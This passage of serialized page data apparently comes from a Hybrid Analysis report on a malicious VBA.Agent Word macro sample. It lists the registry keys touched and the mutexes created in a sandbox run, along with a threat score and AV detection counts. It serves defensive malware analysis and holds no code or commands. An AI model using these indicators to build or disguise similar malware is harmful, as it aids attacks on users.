38","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 1\\SITE 1","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 2\\SITE 2","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 3\\SITE 3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 4\\SITE 4","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 5\\SITE 5","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 6\\SITE 6","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 7\\SITE 7","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 8\\SITE 8","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 9\\SITE 9","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 10\\SITE 10","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 11\\SITE 11","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 12\\SITE 12","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 13\\SITE 13","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 14\\SITE 14","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 15\\SITE 15","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 16\\SITE 16","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 17\\SITE 17","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 18\\SITE 18","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 19\\SITE 19","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 20\\SITE 20","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\&8<\\&8<","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\EI;\\EI;","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FONTINFOCACHEW\\FONTINFOCACHEW","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\;.D\\;.D","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\{,D\\{,D","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Global\\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-58975","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-58975","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-58975","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-58975","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]}]}},"report_ids":{"sandbox_job_ids":["5a9ed6bf7ca3e13988105163"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious VBA.Agent Sample cf1a2c67aa42… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample cf1a2c67aa42…. Malware family: VBA.Agent. Threat score 100/100. 20/29 AV engines flagged this file. 5 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/cf1a2c67aa42262062b860a7f79fccf07cb90761d329b3021c0dd913700cef78"}],["$","meta","4",{"property":"og:title","content":"Malicious VBA.Agent Sample cf1a2c67aa42… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample cf1a2c67aa42…. Malware family: VBA.Agent. Threat score 100/100. 20/29 AV engines flagged this file. 5 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/cf1a2c67aa42262062b860a7f79fccf07cb90761d329b3021c0dd913700cef78"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious VBA.Agent Sample cf1a2c67aa42… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample cf1a2c67aa42…. Malware family: VBA.Agent. Threat score 100/100. 20/29 AV engines flagged this file. 5 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L31","11",{}]]